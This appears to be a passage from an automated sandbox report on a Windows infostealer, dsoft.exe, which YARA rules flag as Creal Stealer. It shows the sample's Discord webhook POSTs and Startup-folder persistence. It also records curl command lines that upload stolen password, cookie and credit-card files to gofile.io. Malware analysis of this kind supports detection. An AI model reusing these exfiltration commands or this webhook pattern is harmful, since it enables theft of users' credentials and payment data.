                                                                                                                                                                                                                                        CF-RAY: 8f9c0d170f2b4265-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:37 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        58192.168.2.449900162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:38 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:38 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:38 UTC1259INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:38 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499020
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mgWpswBdgMx2b0SoEuANWkk7odwTi%2FVKi%2B%2BOvIXjB7H8FLcQpm2G4IYiIXgjnrtm%2F1%2BnAYHw7KcUp0JLjCySpEkbRTmit2tsW6EAjb8ZgQNCjV27seFixYBvxaHL"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=9b8c7d43b940635c42cdf38c4db9dc178568cfb8-1735499018; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=Id6kczLkB36zPT2qqtVzA5w7gyjwyENYmvaXkolcEQg-1735499018795-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0d230f8f7ce8-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:38 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        59192.168.2.449905162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:40 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:40 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:40 UTC1261INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:40 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499021
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K0StTtU%2F3%2Fvj%2BW%2FOZfKGEL0W3sWyGFdKRcK6FFfhnVGzJHez5gEbX5z9FXx6sCgnPOHk0Uq6Hq1As2xe%2BU5MEzIF7T0BhwUlxqISEXHim6rSXhG%2BUyi92cpAwNkc"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=3260a76bdbdeb514be93d6de4175fb4e0e46db02-1735499020; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=0NLw9C8uq4N18LTDgS2b9zPBeG_ptptkMvO1MQUJgCI-1735499020598-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0d2e3bfd8c4b-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:40 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Statistics

                                                                                                                                                                                                                                        CPU Usage

                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                        Memory Usage

                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                        High Level Behavior Distribution

                                                                                                                                                                                                                                        Click to dive into process behavior distribution

                                                                                                                                                                                                                                        Behavior

                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                        System Behavior

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:0
                                                                                                                                                                                                                                        Start time:14:02:29
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\Desktop\dsoft.exe"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b32e0000
                                                                                                                                                                                                                                        File size:15'497'216 bytes
                                                                                                                                                                                                                                        MD5 hash:42B4B335289128A94EFB934D0080DAB3
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:1
                                                                                                                                                                                                                                        Start time:14:02:32
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\Desktop\dsoft.exe"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b32e0000
                                                                                                                                                                                                                                        File size:15'497'216 bytes
                                                                                                                                                                                                                                        MD5 hash:42B4B335289128A94EFB934D0080DAB3
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000001.00000003.2534735683.000002948994D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000001.00000003.2534412343.000002948994A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000001.00000003.2251126528.000002948994A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:2
                                                                                                                                                                                                                                        Start time:14:02:33
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:3
                                                                                                                                                                                                                                        Start time:14:02:33
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:4
                                                                                                                                                                                                                                        Start time:14:02:33
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "tasklist"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:5
                                                                                                                                                                                                                                        Start time:14:02:33
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:6
                                                                                                                                                                                                                                        Start time:14:02:33
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:tasklist
                                                                                                                                                                                                                                        Imagebase:0x7ff6b6f70000
                                                                                                                                                                                                                                        File size:106'496 bytes
                                                                                                                                                                                                                                        MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:moderate
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:7
                                                                                                                                                                                                                                        Start time:14:02:42
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:8
                                                                                                                                                                                                                                        Start time:14:02:42
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:9
                                                                                                                                                                                                                                        Start time:14:02:42
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:moderate
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:10
                                                                                                                                                                                                                                        Start time:14:02:47
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe"
                                                                                                                                                                                                                                        Imagebase:0x7ff7ee710000
                                                                                                                                                                                                                                        File size:15'497'216 bytes
                                                                                                                                                                                                                                        MD5 hash:42B4B335289128A94EFB934D0080DAB3
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:11
                                                                                                                                                                                                                                        Start time:14:02:47
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:12
                                                                                                                                                                                                                                        Start time:14:02:47
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:13
                                                                                                                                                                                                                                        Start time:14:02:47
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:14
                                                                                                                                                                                                                                        Start time:14:02:49
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe"
                                                                                                                                                                                                                                        Imagebase:0x7ff7ee710000
                                                                                                                                                                                                                                        File size:15'497'216 bytes
                                                                                                                                                                                                                                        MD5 hash:42B4B335289128A94EFB934D0080DAB3
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000000E.00000003.2449803777.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000000E.00000002.2716449819.000001FA5D4E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 0000000E.00000003.2676477196.000001FA5CC7A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000000E.00000003.2676477196.000001FA5CC7A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:15
                                                                                                                                                                                                                                        Start time:14:02:50
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:16
                                                                                                                                                                                                                                        Start time:14:02:50
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:17
                                                                                                                                                                                                                                        Start time:14:02:50
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:18
                                                                                                                                                                                                                                        Start time:14:02:50
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
